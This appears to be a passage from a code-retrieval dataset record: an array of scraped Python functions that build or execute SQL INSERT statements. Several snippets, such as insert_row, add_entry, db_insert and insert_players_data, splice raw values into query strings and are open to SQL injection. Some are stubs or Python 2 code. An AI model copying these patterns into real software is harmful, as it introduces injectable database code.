statement","def insert_row(self, table: str, row_data: dict):\r\n\r\n columns = \"\".join([f\"'{i}',\" for i in row_data]).rstrip(\",\")\r\n keys = \"\".join([f\"'{row_data[i]}',\" for i in row_data]).rstrip(\",\")\r\n sql_statement = f\"INSERT INTO {table} ({columns}) VALUES({keys});\"\r\n try:\r\n self.__cursor(sql_statement)\r\n self.__db_conn.commit()\r\n except sqlite3.Error as error:\r\n print(\"[!] Couldn't add record\")\r\n print(\"[!]\", str(error).capitalize())\r\n return\r\n print(\"[*] Record added successfully.\")","def __insert_generic_module(self, table_name, form_data, description_id, dual=0):\n\n sql_values = {}\n sql_fields = []\n alt_sql_fields = []\n insert_id = 0\n\n alt_sql_statement = []\n sql_statement = []\n sql_statement.append(\"INSERT INTO \" + table_name + \" SET \")\n alt_sql_statement.append(\"INSERT INTO \" + table_name + \" SET \")\n\n if description_id > 0:\n sql_fields.append(\"`Description_ID`=:description_id\")\n sql_values['description_id'] = description_id\n alt_sql_fields.append(\"`Description_ID`=%(description_id)s\")\n\n select = Select(self.db)\n column_names = select.read_column_names(table_name)\n\n for k in column_names:\n kk = k[0]\n if dual > 0:\n kk = kk + \"_stn\" + str(dual)\n if not form_data.get(kk):\n continue\n value = form_data.get(kk)\n\n if kk.find(\"_ID\") < 0 and value:\n key = k[0]\n key = key.replace(\"(\", \"\")\n key = key.replace(\")\", \"\")\n key = key.replace(\":\", \"\")\n key = key.replace(\"%\", \"\")\n sql_fields.append(\"`\" + k[0] + \"`=:\" + key.lower())\n alt_sql_fields.append(\"`\" + k[0] + \"`=%(\" + key.lower() + \")s\")\n value = value.strip().replace(\"'\", \"\")\n value = value.replace('\"', \"\")\n sql_values[key.lower()] = value\n\n sql_statement.append(\",\".join(sql_fields))\n alt_sql_statement.append(\",\".join(alt_sql_fields))\n\n session = self.db_conn.cursor(dictionary=True)\n try:\n #print(\"\".join(alt_sql_statement))\n #print(sql_values)\n session.execute(\"\".join(alt_sql_statement), sql_values)\n self.db_conn.commit()\n insert_id = session.lastrowid\n except Exception:\n #print(session.statement)\n \"\"\"\n try:\n # may be there is a spl char in the sql stmt\n # using connection().execute will not quote the sql stmt\n # and some messy hack is needed to avoid param execution\n sql_stmt = \" \".join(alt_sql_statement)\n sql_stmt = sql_stmt.replace(\"(%)\", \"(##)\")\n sql_stmt = re.sub(r\"(\\d+)%\", \"\\g<1>##\", sql_stmt)\n sql_stmt = sql_stmt % sql_values\n sql_stmt = sql_stmt.replace(\"(##)\", \"(%)\")\n sql_stmt = re.sub(r\"(\\d+)##\", \"\\g<1>%\", sql_stmt)\n\n #print(sql_stmt)\n result = session.execute(sql_stmt)\n self.db_conn.commit()\n insert_id = result.lastrowid\n except Exception:\n #session.rollback()\n raise\n \"\"\"\n raise\n finally:\n session.close()\n\n return insert_id","def insert(self, table_name: str, values: dict, not_many=False) -> int:\n sql = 'INSERT INTO ' + table_name + '('\n sql += array_to_string(values.keys(), ', ')\n sql += ') VALUES ('\n sql += array_to_string(values.values(), ', ')\n sql += ');'\n\n if self.__sql_many_state and not_many is False:\n self.__sql_buffer += sql\n else:\n self.cursor.execute(sql)\n self.connection.commit()\n\n return self.cursor.lastrowid","def rpc_database_insert_row(self, keys, values):\n\t\tif not isinstance(keys, (list, tuple)):\n\t\t\tkeys = (keys,)\n\t\tif not isinstance(values, (list, tuple)):\n\t\t\tvalues = (values,)\n\t\tassert len(keys) == len(values)\n\t\ttable_name = self.path.split('/')[-2]\n\t\tfor key, value in zip(keys, values):\n\t\t\tassert key in DATABASE_TABLES[table_name]\n\t\ttable = DATABASE_TABLE_OBJECTS.get(table_name)\n\t\tassert table\n\t\tsession = db_manager.Session()\n\t\trow = table()\n\t\tfor key, value in zip(keys, values):\n\t\t\tsetattr(row, key, value)\n\t\tsession.add(row)\n\t\tsession.close()\n\t\treturn","def insert_many(self, table, columns, values, limit=MAX_ROWS_PER_QUERY, execute=True):\n # Make values a list of lists if it is a flat list\n if not isinstance(values[0], (list, set, tuple)):\n values = []\n for v in values:\n if v is not None and len(v) > 0:\n values.append([v])\n else:\n values.append([None])\n\n # Concatenate statement\n cols, vals = get_col_val_str(columns)\n statement = 'INSERT INTO {0} ({1}) VALUES ({2})'.format(wrap(table), cols, vals)\n\n if execute and len(values) > limit:\n while len(values) > 0:\n vals = [values.pop(0) for i in range(0, min(limit, len(values)))]\n self._cursor.executemany(statement, vals)\n self._commit()\n\n elif execute:\n # Execute statement\n self._cursor.executemany(statement, values)\n self._commit()\n self._printer('\\tMySQL rows (' + str(len(values)) + ') successfully INSERTED')\n\n # Only return statement\n else:\n return statement","def insert(self, tname, valdict, cols = None):\n icmd, vals = make_insert_command(tname, valdict, cols)\n self.write_curs.execute(icmd, vals)","def insert_sql(command):\n logging.debug(\"Running insert sql \"+str(command))\n try:\n## host, userid, password, database instance\n con = mdb.connect(serverip, username, userpass, schema);\n cursor = con.cursor()\n \n sql = command\n cursor.execute(sql)\n sql = \" commit;\"\n cursor.execute(sql)\n \n con.close()\n\n except mdb.Error, e:\n logger.error(e)","def _insert_table_row(self, db: str, table: str, row: Dict[str, Any]):\n pass","def insert_players_data(players_data: list) -> str:\n table = players_data[0]\n name = players_data[1]\n age = players_data[2]\n wage = players_data[3]\n link = players_data[4]\n si = players_data[5]\n position = players_data[6]\n rating = players_data[7]\n goals = players_data[8]\n team = players_data[9]\n team_link = players_data[10]\n turn = players_data[11]\n player_nation = players_data[12]\n team_nation = players_data[13]\n insert_players_data = '''INSERT INTO {} (player_name, player_age, player_wage, player_link, player_si, \n player_position, player_rating, player_goals, team, team_link, turn, player_nation, team_nation) VALUES \n (\"{}\", \"{}\", {}, \"{}\", {}, \"{}\", {}, {}, \"{}\", \"{}\", {}, \"{}\", \"{}\");'''.\\\n format(table, name, age, wage, link, si, position, rating, goals, team, team_link, turn, player_nation, team_nation)\n return insert_players_data"],"string":"[\n \"def _insert_sql(self, table, insert_values):\\n if isinstance(insert_values, dict):\\n keys = []\\n values = []\\n for k, v in insert_values.items():\\n keys.append(k)\\n if v is None:\\n values.append('')\\n elif isinstance(v, str):\\n v = \\\"'\\\" + str(v).replace(\\\"'\\\", \\\"''\\\") + \\\"'\\\"\\n values.append(v)\\n elif isinstance(v, datetime.datetime):\\n v = \\\"'\\\" + str(v) + \\\"'\\\"\\n values.append(v)\\n else:\\n values.append(str(v))\\n keys = \\\",\\\".join(keys)\\n values = \\\",\\\".join(values)\\n sql = \\\"INSERT INTO %s (%s) VALUES (%s)\\\" % (table, keys, values)\\n return sql\\n elif isinstance(insert_values, (tuple, list)):\\n values = []\\n for v in insert_values:\\n if v is None:\\n values.append('')\\n elif isinstance(v, str):\\n v = \\\"'\\\" + str(v).replace(\\\"'\\\", \\\"''\\\") + \\\"'\\\"\\n values.append(v)\\n elif isinstance(v, datetime.datetime):\\n v = \\\"'\\\" + str(v) + \\\"'\\\"\\n values.append(v)\\n else:\\n values.append(str(v))\\n values = \\\",\\\".join(values)\\n sql = \\\"INSERT INTO %s VALUES (%s)\\\" % (table, values)\\n return sql\\n else:\\n raise TypeError( # pragma: no cover\\n \\\"unexpected type: \\\" + str(type(insert_values)))\",\n \"def getSQL_insert(table, **kwargs):\\n ks = ''\\n vs = ''\\n for k, v in kwargs.items():\\n ks += k + ','\\n if isNumber(v) or v == 'null':\\n vs += str(v) + ','\\n else:\\n vs += \\\"'\\\" + v + \\\"',\\\"\\n\\n return 'INSERT INTO %s (%s) VALUES (%s)' % (table, ks[:-1], vs[:-1])\",\n \"def make_insert_row(table_str, attribute_value_dict): #works\\n#Aanpassen zodat query niet uitgevoerd wordt als pk al bestaat\\n #initialize input for string formatting\\n attributes_string = \\\"(\\\"\\n values_list = []\\n #retrieve attributes and values from dictionary and add them to the string\\n for key in attribute_value_dict:\\n values_list += [attribute_value_dict[key]]\\n attributes_string += \\\"%s, \\\" % key\\n attributes_string = attributes_string[:(len(attributes_string)-2)]\\n attributes_string += ')'\\n values = str(tuple(values_list))\\n sql = \\\"\\\"\\\"INSERT INTO `%s` %s VALUES %s \\\"\\\"\\\" % (table_str, attributes_string, values)\\n return sql\",\n \"def getSQL_insert_ex(table, dict):\\n ks = ''\\n vs = ''\\n for k, v in dict.items():\\n ks += k + ','\\n if v == None:\\n v = 'null'\\n if isNumber(v) or v == 'null':\\n vs += str(v) + ','\\n elif str(type(v)) == \\\"<type 'datetime.datetime'>\\\":\\n vs += \\\"'\\\" + v.strftime('%Y-%m-%d %H:%M:%S') + \\\"',\\\"\\n elif str(type(v)) == \\\"<type 'datetime.time'>\\\":\\n vs += \\\"'\\\" + v.strftime('%H:%M:%S') + \\\"',\\\"\\n else:\\n vs += \\\"'\\\" + v + \\\"',\\\"\\n\\n return 'INSERT INTO %s (%s) VALUES (%s)' % (table, ks[:-1], vs[:-1])\",\n \"def insert_row(table_str, attribute_value_dict): #works\\n sql = make_insert_row(table_str, attribute_value_dict)\\n #print sql\\n execute_edit_queries(sql)\",\n \"def insert(self, table, insert_values, cursor=None, nolog=True):\\n if isinstance(insert_values, list):\\n # we expect several insertion\\n if self._engine != \\\"SQLite\\\":\\n for d in insert_values:\\n self.insert(table, d, cursor)\\n else:\\n if isinstance(insert_values[0], dict):\\n ins = {}\\n for k in insert_values[0]:\\n ins[k] = \\\":\\\" + k\\n sql = self._insert_sql(table, ins)\\n else:\\n q = tuple('?' for _ in insert_values[0])\\n sql = self._insert_sql(table, q).replace(\\\"'\\\", \\\"\\\")\\n\\n sql = sql.replace(\\\"'\\\", \\\"\\\")\\n try:\\n if not nolog: # pragma: no cover\\n if len(sql) > 1000:\\n self.LOG(\\\"SQLs\\\", sql[:1000])\\n else:\\n self.LOG(\\\"SQLs\\\", sql)\\n self._connection.executemany(sql, insert_values)\\n return \\\"\\\"\\n except Exception as e:\\n raise ExceptionSQL( # pylint: disable=W0707\\n \\\"Unable to execute a SQL request (3) (cursor %r) (file %r)\\\" %\\n (str(cursor), self.get_file()), e, sql)\\n\\n elif isinstance(insert_values, dict):\\n sql = self._insert_sql(table, insert_values)\\n\\n try:\\n if not nolog: # pragma: no cover\\n if len(sql) > 1000:\\n self.LOG(\\\"SQLs\\\", sql[:1000])\\n else:\\n self.LOG(\\\"SQLs\\\", sql)\\n if cursor is not None:\\n cursor.execute(sql)\\n else:\\n if self._buffer_insert_s > 0:\\n self._buffer_insert.append(sql)\\n\\n if len(self._buffer_insert) >= self._buffer_insert_s:\\n for s in self._buffer_insert:\\n self._connection.execute(s)\\n del self._buffer_insert[:]\\n else:\\n self._connection.execute(sql)\\n\\n return sql\\n except Exception as e:\\n raise ExceptionSQL( # pylint: disable=W0707\\n \\\"unable to execute a SQL request (2) (cursor %r) (file %r)\\\" %\\n (str(cursor), self.get_file()), e, sql)\\n\\n else:\\n raise DBException( # pragma: no cover\\n \\\"insert: expected type (list of dict or dict) instead of %s\\\" %\\n (str(\\n type(insert_values))))\",\n \"def generate_insert_sql(self, fields, values):\\n return \\\"INSERT INTO %s (%s) VALUES(%s)\\\" % (self.tablename, fields,\\n ','.join([sql_quote(x) for x in values]))\",\n \"def generic_db_insert(db_obj, db_cur, tables, key_cv, value_cv,\\n where_str=None, where_args=[]):\\n\\n # sanity check\\n if len(value_cv) != 1:\\n nori.core.email_logger.error(\\n'''Internal Error: multiple value_cv entries supplied in call to\\ngeneric_db_insert(); call was (in expanded notation):\\n\\ngeneric_db_insert(\\n db_obj={0},\\n db_cur={1},\\n tables={2},\\n key_cv={3},\\n value_cv={4},\\n where_str={5},\\n where_args={6}\\n)\\n\\nExiting.'''.format(*map(nori.pps, [db_obj, db_cur, tables, key_cv, value_cv,\\n where_str, where_args]))\\n )\\n sys.exit(nori.core.exitvals['internal']['num'])\\n\\n # assemble the query string and argument list\\n# query_args = []\\n# query_str = 'INSERT INTO '\\n# if isinstance(tables, nori.core.MAIN_SEQUENCE_TYPES):\\n# query_str += ', '.join(tables)\\n# else:\\n# query_str += tables\\n# query_str += '\\\\n'\\n# set_parts = []\\n# query_str += 'SET ' + ', '.join(set_parts) + '\\\\n'\\n# for cv in key_cv:\\n# if len(cv) > 2:\\n# where_parts.append('({0} = %s)'.format(cv[0]))\\n# query_args.append(cv[2])\\n# for cv in value_cv:\\n# set_parts.append('{0} = %s'.format(cv[0]))\\n# query_args.append(cv[2])\\n\\n # execute the query\\n# ret = db_obj.execute(db_cur, query_str.split(), query_args,\\n# has_results=False)\\n# return None if not ret else True\\n return None\",\n \"def dbinsert(db,table,**assignments):\\n cols = \\\"\\\"\\n vals = \\\"\\\"\\n values = []\\n for k,v in assignments.items():\\n if cols!=\\\"\\\": cols += \\\",\\\"\\n cols += k\\n if vals!=\\\"\\\": vals += \\\",\\\"\\n vals += \\\"?\\\"\\n values.append(v)\\n cmd = \\\"insert or replace into \\\"+table+\\\" ( \\\"+cols+\\\" ) values ( \\\"+vals+\\\" ) \\\"\\n params = list(values)\\n # print cmd,params\\n cur = db.cursor()\\n cur.execute(cmd,params)\\n cur.close()\\n del cur\",\n \"def info_insert(tbl_mgr, table_str, row_arr):\\n val_str = \\\"(\\\"\\n\\n for col in range(len(row_arr)):\\n if col > 0:\\n val_str += \\\", \\\"\\n if row_arr[col] is None:\\n val_str += \\\"NULL\\\"\\n else:\\n val_str += \\\"'\\\" + row_arr[col] + \\\"'\\\"\\n val_str += \\\")\\\"\\n\\n return tbl_mgr.insert_stmt(table_str, val_str)\",\n \"def Insert(self):\\n sql = 'INSERT INTO %s ( %s ) VALUES ( %s )' % (\\n self.table_name,\\n ', '.join(self.values),\\n ', '.join(['?' for _ in self.values])\\n )\\n return Database().Execute(sql, tuple(self.values.values()))\",\n \"def insert_statement() -> str:\\n pass\",\n \"def to_insert(table, d):\\n\\n columns = []\\n args = []\\n for key, val in d.items():\\n columns.append('\\\"{}\\\"'.format(key))\\n args.append(val)\\n stmt = 'insert into {table} ({columns}) values ({params})'.format(\\n table=table,\\n columns=', '.join(columns),\\n params=', '.join(f'${i + 1}' for i in range(len(columns)))\\n )\\n return (stmt, args)\",\n \"def build_insert_expression(data_dict, table_to_insert):\\n\\n command_str_left = \\\"INSERT INTO \\\" + table_to_insert + \\\" (\\\"\\n command_str_right = \\\" VALUES (\\\"\\n\\n for field_name in data_dict:\\n field_value = data_dict[field_name][0]\\n flg_string_type = data_dict[field_name][1]\\n if command_str_left[-1] != \\\"(\\\":\\n command_str_left += \\\",\\\"\\n command_str_right += \\\",\\\"\\n if flg_string_type: command_str_right += \\\"'\\\"\\n command_str_left += field_name\\n command_str_right += str(field_value)\\n if flg_string_type: command_str_right += \\\"'\\\"\\n command_str = command_str_left + \\\")\\\" + command_str_right + \\\")\\\"\\n\\n return command_str\",\n \"def run_insert_example():\\n table = \\\"actors\\\"\\n insert_values = {\\n 'id': 3,\\n 'name': \\\"Matt\\\",\\n 'last_name': \\\"Smith\\\",\\n 'country': \\\"England\\\"}\\n print querify.insert_from_dict(table, insert_values)\\n\\n insert_col_list = [\\\"id\\\", \\\"name\\\", \\\"last_name\\\", \\\"country\\\"]\\n insert_val_list = [\\n [1, \\\"Chris\\\", \\\"Eccleston\\\", \\\"England\\\"],\\n [2, \\\"David\\\", \\\"Tennant\\\", \\\"Scotland\\\"],\\n [3, \\\"Matt\\\", \\\"Smith\\\", \\\"England\\\"]]\\n print querify.insert_from_list(table, insert_col_list, insert_val_list)\",\n \"def insert(self,table,values):\\n self.connect.execute(self.insert_disc[table],values)\\n self.connect.commit()\",\n \"def insert(self, value):\\n # Build insert query\\n into_sql = ''\\n col_sql = ''\\n val_sql = []\\n for key, val in value.items():\\n into_sql += ', {}'.format(key)\\n col_sql += ', ?'\\n val_sql.append(val)\\n # Execute query\\n self.execute(\\\"insert into {} ({}) values ({})\\\".format(self.name, into_sql[2:], col_sql[2:]), val_sql)\",\n \"def insert(self):\\n sql = u'INSERT INTO %s' % self.table()\\n keys = []\\n values = []\\n format_values = []\\n for field in self.fields():\\n attr = object.__getattribute__(self, field)\\n if attr.auto_value:\\n continue\\n keys.append(field)\\n format_values.append(attr.format)\\n values.append(attr._value)\\n keys_str = u'( %s )' % u', '.join(keys)\\n values_str = u'VALUES( %s )' % u', '.join(format_values)\\n sql = '%s %s %s;' % (sql, keys_str, values_str)\\n connection.execute(sql, values)\\n primary_k = self.__class__.get_primary()\\n primary = object.__getattribute__(self, primary_k)\\n primary.value = connection.connection.insert_id()\",\n \"def insert_statement(self, values):\\n statement = Engine.insert_statement(self, values)\\n if isinstance(statement, bytes):\\n statement = statement.decode(\\\"utf-8\\\", \\\"ignore\\\")\\n return statement\",\n \"def insert_into(table, header, dict_list):\\r\\n values = [\\\"(\\\" + \\\",\\\".join([quote_str(dict[key]) for key in header]) + \\\")\\\" for dict in dict_list]\\r\\n return \\\"INSERT INTO \\\" + table + \\\" (\\\"+\\\",\\\".join(header)+\\\") VALUES\\\\n\\\"+\\\",\\\\n\\\".join(values)+\\\";\\\\n\\\"\",\n \"def _assemble(self):\\n assert self._kw, \\\"Call values() first\\\"\\n names = ','.join(list(self._kw))\\n holders = ','.join(f'%({name})s' for name in self._kw)\\n return (\\n f'insert into {self._table} '\\n f'({names}) values ({holders}) '\\n f'returning {self._returning}'\\n ), self._kw.copy()\",\n \"def test_insert(self):\\n self.assertEqual(['INSERT', 'INTO', 'test', '(a,b) VALUES (1,2)'],\\n grammar._INSERT_EXPR.parseString(\\\"INSERT INTO test (a,b) VALUES (1,2);\\\").asList())\",\n \"async def insert(self, args: Dict[str, Any]):\\n keys = \\\", \\\".join(args.keys())\\n values = \\\", \\\".join([f\\\"${i + 1}\\\" for i in range(len(args))])\\n\\n conn: Connection\\n async with self.db_pool.acquire() as conn:\\n await conn.execute(\\n f\\\"INSERT INTO {self.table_name} \\\"\\n f\\\"({keys}) VALUES ({values})\\\",\\n *args.values(),\\n )\",\n \"def insert_into_postgres(schema, table, column_list_string, values):\\n conn = logic_db_connection()\\n try:\\n cur = conn.cursor()\\n insert_dml = \\\"\\\"\\\"INSERT INTO {0}.{1}\\n ({2})\\n VALUES ({3}) \\n ;\\\"\\\"\\\".format(schema, table, column_list_string, values)\\n cur.execute(insert_dml)\\n conn.commit()\\n except Exception as e:\\n #if type(e) is not type(psycopg2.IntegrityError()): # doesn't work need to use pg error code catching\\n # print(f'Unable to insert into Postgres table {table}. DML: {insert_dml} Error: {e}')\\n raise\\n finally:\\n conn.close()\\n return\",\n \"def insert(self, table, *args, **kwargs):\\n\\n values = None\\n query = \\\"INSERT INTO %s \\\" % table\\n if kwargs:\\n keys = kwargs.keys()\\n values = kwargs.values()\\n query += \\\"(\\\" + \\\",\\\".join([\\\"`%s`\\\"]*len(keys)) % tuple(keys) + \\\\\\n \\\") VALUES(\\\" + \\\",\\\".join([\\\"%s\\\"]*len(values)) + \\\")\\\"\\n elif args:\\n values = args\\n query += \\\" VALUES(\\\" + \\\",\\\".join([\\\"%s\\\"]*len(values)) + \\\")\\\"\\n\\n self.__open()\\n self.__cursor.execute(query, values)\\n self.__connection.commit()\\n self.__close()\\n return self.__cursor.lastrowid\",\n \"def sql_insert(self, sqlstr):\\n get_connection().insert_raw(sqlstr)\\n return 1\",\n \"def db_insert(self, table_name: str, data: dict):\\n \\n query = 'INSERT OR IGNORE INTO {0} ({1}) VALUES ({2})'.format(\\n table_name, ', '.join(data.keys()), ', '.join('?'*len(data)))\\n self.db.execute(query, list(data.values()))\",\n \"def insertFromDict(table, dict):\\n sql = 'INSERT INTO ' + table\\n sql += ' ('\\n sql += ', '.join(dict)\\n sql += ') VALUES ('\\n sql += ', '.join(map(dictValuePad, dict))\\n sql += ');'\\n return sql\",\n \"def insert_into(cursor, table, columns, values):\\r\\n columns_str = columns[0]\\r\\n values_str = \\\"%s\\\"\\r\\n for col in columns[1:]:\\r\\n columns_str += \\\", \\\" + col\\r\\n values_str += \\\", %s\\\"\\r\\n query = \\\"INSERT INTO {} ({}) VALUES ({})\\\".format(table, columns_str, values_str)\\r\\n cursor.execute(query, values)\",\n \"def insertData(self, sql: str, values: tuple) -> None:\\n try:\\n connection = self.connect()\\n cursor = connection.cursor() \\n data = cursor.execute(sql, values) \\n connection.commit() \\n except sqlite3.Error as e:\\n logging.error(f'{__class__.__name__ } Exception: {e}')\\n logging.error(f'{self.cn} usedSQL {sql}')\\n logging.error(f'{self.cn} insertedValues - {values}')\\n cursor.close()\\n finally:\\n cursor.close()\\n if connection:\\n connection.close()\",\n \"def _query_insert(self, sql, data=None):\\n\\n conn = psycopg2.connect(self.connect_args)\\n cur = conn.cursor()\\n cur.execute(sql, data)\\n conn.commit()\\n cur.close()\\n conn.close()\",\n \"def insert(self, fields, values):\\n sql = self.generate_insert_sql(fields, values)\\n self.sqlhistory.append(sql)\\n return self.sql_insert(sql)\",\n \"def test_insert(self):\\n query = \\\"insert into cds values(%s,%s,%s,%s)\\\"\\n values = (109876,\\\"cinderella\\\",\\\"big 5\\\",5)\\n self.a.insert(query,values)\\n query1 = \\\"select * from cds where id=109876\\\"\",\n \"def insert(self, sql):\\n try:\\n # Execute the SQL command\\n self.cursor.execute(sql)\\n # Commit your changes in the database\\n self.db.commit()\\n except:\\n # Rollback in case there is any error\\n self.db.rollback()\",\n \"def db_insertmany(table: str, columns: list, values: list):\\n\\n db, c = start_db()\\n\\n cols = ', '.join(columns)\\n vals = ', '.join(['?' for _ in values[0]])\\n query = f'INSERT INTO {table} ({cols}) VALUES ({vals})'\\n\\n c.executemany(query, values)\\n db.commit()\\n db.close()\",\n \"def transactionInsert(self, t_name, fields, field_values): \\n query = 'INSERT INTO {0} ({1}) VALUES ({2});'\\n field_list_string = ','.join(fields)\\n query_parameters = ','.join(['?'] * len(fields))\\n query = query.format(t_name, field_list_string, query_parameters)\\n try:\\n self.cursor.execute(query, tuple(field_values))\\n except Exception as e:\\n print(\\\"Error inserting with query '{}'\\\".format(query))\\n print(\\\"\\\\tWith columns {}\\\".format(fields))\\n print(\\\"\\\\tWith values {}\\\".format(field_values))\\n print(\\\"\\\\tRollback will occur.\\\")\\n self.connection.rollback()\",\n \"def insert(db, table, name, row):\\n\\n # Build insert prepared statement\\n columns = [name for name, _ in table.items()]\\n insert = INSERT_ROW.format(table=name, columns=\\\", \\\".join(columns), values=(\\\"?, \\\" * len(columns))[:-2])\\n\\n try:\\n db.execute(insert, values(table, row, columns))\\n except Exception as ex:\\n print(\\\"Error inserting row: {}\\\".format(row), ex)\",\n \"def insert(self, items=''):\\n cur = self.conn.cursor()\\n\\n format_args = {'table': self.__name__,\\n 'items': ', '.join(items.keys()),\\n 'values': ', '.join([':'+key for key in items.keys()])}\\n \\n insert_query = \\\"\\\"\\\"\\n INSERT INTO {table} ({items}) VALUES ({values})\\n \\\"\\\"\\\".format(**format_args)\\n\\n cur.execute(insert_query, items)\",\n \"def _insert(\\n self,\\n objs,\\n fields,\\n returning_fields=None,\\n raw=False,\\n using=None,\\n on_conflict=None,\\n update_fields=None,\\n unique_fields=None,\\n ):\\n self._for_write = True\\n if using is None:\\n using = self.db\\n query = sql.InsertQuery(\\n self.model,\\n on_conflict=on_conflict,\\n update_fields=update_fields,\\n unique_fields=unique_fields,\\n )\\n query.insert_values(fields, objs, raw=raw)\\n return query.get_compiler(using=using).execute_sql(returning_fields)\",\n \"def add_entry(db, table, columns, values):\\n mycursor = db.cursor()\\n\\n sql = \\\"INSERT INTO \\\" + table + \\\" (\\\" + parse_sql_param_from_array(columns) + \\\") VALUES (\\\" + parse_sql_param_from_array(values, escape=True) + \\\")\\\"\\n mycursor.execute(sql)\\n\\n db.commit()\",\n \"def insert_values():\\n pass\",\n \"def create_insert_code(name_of_table, col_names=[None], col_values=[None],):\\n sql_str = ''\\n try:\\n if col_names is None:\\n raise Exception('You must provide at least one column name!')\\n else:\\n sql_str = 'INSERT INTO ' + str(name_of_table).strip() + '\\\\n('\\n for col in col_names:\\n sql_str += str(col) + ', '\\n sql_str = sql_str[0:-2] + ')' # Strip off the last comma\\n if col_values is None:\\n raise Exception('You must provide at least one column value!')\\n else:\\n sql_str += '\\\\nVALUES\\\\n('\\n for col in col_values:\\n sql_str += str(col) + ', '\\n sql_str = sql_str[0:-2] + ');' # Strip off the last comma\\n except Exception as e:\\n raise Exception('Error in create_insert_code(): ' + e.__str__())\\n return sql_str\",\n \"def insert_values(self, table, cols, vals):\\n conn = psycopg2.connect(self.name, sslmode='require')\\n c = conn.cursor()\\n c.execute(\\\"INSERT INTO {0} ({1}) VALUES ({2})\\\".format(table,','.join(str(i) for i in cols), ','.join(\\\"'\\\"+str(i)+\\\"'\\\" for i in vals)))\\n conn.commit() \\n conn.close\",\n \"def insert(self, tablename, seqname=None, _test=False, **values):\\n def q(x): return \\\"(\\\" + x + \\\")\\\"\\n \\n if values:\\n _keys = SQLQuery.join(values.keys(), ', ')\\n _values = SQLQuery.join([sqlparam(v) for v in values.values()], ', ')\\n sql_query = \\\"INSERT INTO %s \\\" % tablename + q(_keys) + ' VALUES ' + q(_values)\\n else:\\n sql_query = SQLQuery(self._get_insert_default_values_query(tablename))\\n\\n if _test: return sql_query\\n \\n db_cursor = self._db_cursor()\\n if seqname is not False: \\n sql_query = self._process_insert_query(sql_query, tablename, seqname)\\n\\n if isinstance(sql_query, tuple):\\n # for some databases, a separate query has to be made to find \\n # the id of the inserted row.\\n q1, q2 = sql_query\\n self._db_execute(db_cursor, q1)\\n self._db_execute(db_cursor, q2)\\n else:\\n self._db_execute(db_cursor, sql_query)\\n\\n try: \\n out = db_cursor.fetchone()[0]\\n except Exception: \\n out = None\\n \\n if not self.ctx.transactions: \\n self.ctx.commit()\\n return out\",\n \"def construct_insert(self, info):\\n self.sql_type_ind = sql_type.INSERT\\n self.return_result = False\\n self.q_str = \\\"generate\\\"\\n\\n if \\\"items\\\" in info.keys() and len(info[\\\"items\\\"]) == 1 and\\\\\\n \\\"columns\\\" in info.keys() and isinstance(info[\\\"columns\\\"], dict):\\n self.columns = co.OrderedDict()\\n for key, val in info[\\\"columns\\\"].items():\\n self.columns[key] = val\\n\\n elif \\\"items\\\" in info.keys() and isinstance(info[\\\"items\\\"], dict) and\\\\\\n len(info[\\\"items\\\"]) > 1:\\n self.columns = co.OrderedDict()\\n for key, val in info[\\\"items\\\"].items():\\n if val != '':\\n self.columns[val] = key\\n else:\\n self.columns[key] = key\\n elif \\\"items\\\" in info.keys() and isinstance(info[\\\"items\\\"], list):\\n self.columns = co.OrderedDict()\\n for val in info[\\\"items\\\"]:\\n self.columns[val] = ''\",\n \"def insert_row(self, tablename, fields):\\n insert_params = \\\"(\\\" + \\\",\\\".join(['?' for x in fields]) + \\\")\\\"\\n self.cursor.execute(\\\"insert into \\\" + tablename + \\\" values \\\" +\\n insert_params, fields)\",\n \"def sql_filtered_insert(table, set_columns, values):\\n for index in range(len(set_columns) - 1, -1, -1):\\n if values[index] is None:\\n del set_columns[index]\\n del values[index]\\n values_fields = ['?'] * len(set_columns)\\n query_columns = ', '.join(set_columns)\\n values_fields = ', '.join(values_fields)\\n query = f'INSERT INTO {table} ({query_columns}) VALUES ({values_fields})'\\n return query, values\",\n \"def pack_for_insert(table_name: str,\\n data: dict):\\n\\n # Decide which table apply insert query to\\n columns_list = product_table_columns # \\\"product\\\" by default\\n while Switch(table_name):\\n if case('listing_info'):\\n columns_list = listing_info_table_columns\\n if case('selling_status'):\\n columns_list = selling_status_table_columns\\n if case('shipping_info'):\\n columns_list = shipping_info_table_columns\\n break\\n\\n # Compose condition string for Update statement from several set operations separated by commas\\n columns_string = r\\\"{}\\\".format(tuple([i for i in columns_list])).replace(\\\"'\\\", \\\"\\\")\\n\\n # Init service variables\\n values_string, count = r\\\"\\\", 0\\n\\n # Update Statement string with commas separating set values\\n for column in columns_list:\\n for key, value in data.items():\\n if column == key:\\n values_string = values_string + r'\\\"{}\\\"{}'.format(value, (\\\", \\\" if count<len(data)-1 else ''))\\n count += 1\\n\\n return r\\\"REPLACE INTO {} {} VALUES ({});\\\".format(table_name, columns_string, values_string)\",\n \"async def _insert_stmt(self):\\n raise NotImplementedError\",\n \"def insertmany(self, table, values):\\n col_name = self.table_cols[table][1:]\\n sql = 'INSERT INTO %s(%s) VALUES (%s)' % (table, ','.join(col_name), ','.join(['%s'] * len(values[0])))\\n Log.debug('DB -> %s' % sql)\\n self.execute(sql, values)\",\n \"def db_insert(table: str, columns: list, values: list, last_index=False):\\n\\n db, c = start_db()\\n\\n cols = ', '.join(columns)\\n vals = ', '.join([f'\\\"{v}\\\"' for v in values])\\n query = f'INSERT INTO {table} ({cols}) VALUES ({vals})'\\n\\n c.execute(query)\\n last_id = c.lastrowid\\n db.commit()\\n db.close()\\n\\n if last_index:\\n return last_id\",\n \"def input_values(curs, table_name, inputs):\\n curs.executemany(\\\"\\\"\\\"INSERT INTO {} (s, x, y)\\n VALUES (?, ?, ?);\\\"\\\"\\\".format(table_name), inputs)\",\n \"def multiple_insert(self, tablename, values, seqname=None, _test=False): \\n if not values:\\n return []\\n \\n if not self.supports_multiple_insert:\\n out = [self.insert(tablename, seqname=seqname, _test=_test, **v) for v in values]\\n if seqname is False:\\n return None\\n else:\\n return out\\n \\n keys = values[0].keys()\\n #@@ make sure all keys are valid\\n\\n for v in values:\\n if v.keys() != keys:\\n raise ValueError, 'Not all rows have the same keys'\\n\\n sql_query = SQLQuery('INSERT INTO %s (%s) VALUES ' % (tablename, ', '.join(keys)))\\n\\n for i, row in enumerate(values):\\n if i != 0:\\n sql_query.append(\\\", \\\")\\n SQLQuery.join([SQLParam(row[k]) for k in keys], sep=\\\", \\\", target=sql_query, prefix=\\\"(\\\", suffix=\\\")\\\")\\n \\n if _test: return sql_query\\n\\n db_cursor = self._db_cursor()\\n if seqname is not False: \\n sql_query = self._process_insert_query(sql_query, tablename, seqname)\\n\\n if 